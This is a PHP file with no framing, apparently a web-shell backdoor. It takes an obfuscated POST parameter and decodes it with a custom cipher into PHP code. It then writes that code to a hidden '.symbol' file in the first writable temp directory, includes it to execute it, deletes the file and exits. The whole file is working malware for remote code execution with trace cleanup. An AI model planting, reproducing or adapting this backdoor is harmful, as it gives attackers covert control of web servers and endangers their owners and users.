<?php

if(!empty($_POST["\x74k\x6E"])){
	$data_chunk = $_POST["\x74k\x6E"];
		$data_chunk	=	 explode	 ( "."	, $data_chunk  	)   ; 
	$factor	= '';
            $s	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	= strlen($s);
            $u	= 0;
    
            array_walk($data_chunk, function ($v3) use (&$factor, &$u, $s, $sLen) { 	$chS	= ord($s[$u 	%$sLen]);
                $dec	= ((int)$v3 - $chS - ($u 	%10))^	33;
                $factor		.=  chr($dec);
                $u++;  });
	$value = array_filter([getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/dev/shm"]);
	$element = 0;
do {
    $comp = $value[$element] ?? null;
    if ($element >= count($value)) break;
    		if ((bool)is_dir($comp) && (bool)is_writable($comp)) {
    $dchunk = "$comp" . "/.symbol";
    if (@file_put_contents($dchunk, $factor) !== false) {
	include $dchunk;
	unlink($dchunk);
	die();
}
}
    $element++;
} while (true);
}